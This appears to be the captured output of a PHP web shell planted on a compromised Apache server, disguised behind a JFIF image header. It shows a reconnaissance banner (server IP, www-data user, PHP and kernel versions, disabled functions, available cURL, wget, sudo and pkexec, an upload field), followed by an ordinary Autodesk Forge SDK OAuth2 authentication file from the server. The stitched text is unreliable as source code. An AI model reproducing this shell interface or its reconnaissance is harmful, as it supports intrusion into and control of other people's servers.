????JFIF??x?x????'
| Server IP : 79.136.114.73 / Your IP : 216.73.216.36 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/appsrv.astacus.se/forge/forge-api-nodejs-client/src/auth/ |
Upload File : |
/**
* Forge SDK
* The Forge Platform contains an expanding collection of web service components that can be used with Autodesk cloud-based products or your own technologies. Take advantage of Autodesk’s expertise in design and engineering.
*
* OpenAPI spec version: 0.1.0
* Contact: forge.help@autodesk.com
*
* NOTE: This class is auto generated by the swagger code generator program.
* https://github.com/swagger-api/swagger-codegen.git
* Do not edit the class manually.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
module.exports = (function () {
'use strict';
var OAuth2 = require('./OAuth2');
var ApiClient = require('../ApiClient').instance;
/**
* @module auth/OAuth2TwoLegged
*/
/**
* Constructs a new <code>OAuth2TwoLegged</code>.
* Inherits from OAuth2
* @alias module:auth/OAuth2TwoLegged
*/
var OAuth2TwoLegged = function (clientId, clientSecret, scope, autoRefresh, apiClient) {
ApiClient = apiClient || require('../ApiClient').instance;
this.authentication = {
tokenUrl: '/authentication/v1/authenticate',
scopes: {
'data:read': 'The application will be able to read the end user’s data within the Autodesk ecosystem.',
'data:write': 'The application will be able to create, update, and delete data on behalf of the end user within the Autodesk ecosystem.',
'data:create': 'The application will be able to create data on behalf of the end user within the Autodesk ecosystem.',
'data:search': 'The application will be able to search the end user’s data within the Autodesk ecosystem.',
'bucket:create': 'The application will be able to create an OSS bucket it will own.',
'bucket:read': 'The application will be able to read the metadata and list contents for OSS buckets that it has access to.',
'bucket:update': 'The application will be able to set permissions and entitlements for OSS buckets that it has permission to modify.',
'bucket:delete': 'The application will be able to delete a bucket that it has permission to delete.',
'code:all': 'The application will be able to author and execute code on behalf of the end user (e.g., scripts processed by the Design Automation API).',
'account:read': 'For Product APIs, the application will be able to read the account data the end user has entitlements to.',
'account:write': 'For Product APIs, the application will be able to update the account data the end user has entitlements to.',
'user-profile:read': 'The application will be able to read the end user’s profile data.',
'viewables:read': 'The application will have read access to viewable resources such as thumbnails. This scope is a subset of data:read.'
}
};
this.authName = 'oauth2_application';
OAuth2.call(this, clientId, clientSecret, scope, autoRefresh, ApiClient);
};
// inherit from OAuth2 class
OAuth2TwoLegged.prototype = Object.create(OAuth2.prototype);
// Set the "constructor" property to refer to OAuth2
OAuth2TwoLegged.prototype.constructor = OAuth2TwoLegged;
/**
* Set the credentials manually
* @param credentials
*/
OAuth2TwoLegged.prototype.setCredentials = function (credentials) {
this.credentials = credentials;
};
/**
* Get the credentials
*/
OAuth2TwoLegged.prototype.getCredentials = function () {
return this.credentials;
};
/**
* Check if token is authorized
* @returns {boolean}
*/
OAuth2TwoLegged.prototype.isAuthorized = function () {
return !!(this.credentials && this.credentials.expires_at && this.credentials.expires_at > Date.now());
};
/**
* Authorize and get an access token
* @return Promise
*/
OAuth2TwoLegged.prototype.authenticate = function () {
var _this = this;
return new Promise(function (resolve, reject) {
if (_this.authentication && _this.authentication.tokenUrl) {
var url = _this.basePath + _this.authentication.tokenUrl;
var body = {
grant_type: 'client_credentials',
client_id: _this.clientId,
client_secret: _this.clientSecret,
scope: _this.scope
};
_this.doPostRequest(url, body, function (response) {
// add expires_at property
var credentials = Object.assign({}, response, {
expires_at: new Date(Date.now() + response.expires_in * 1000)
});
_this.setCredentials(credentials);
resolve(credentials);
}, function (errResponse) {
ApiClient.debug('authenticate error', errResponse);
reject(errResponse);
});
} else {
ApiClient.debug('tokenUrl is not defined in the authentication object');
reject(new Error('tokenUrl is not defined in the authentication object'));
}
});
};
return OAuth2TwoLegged;
}());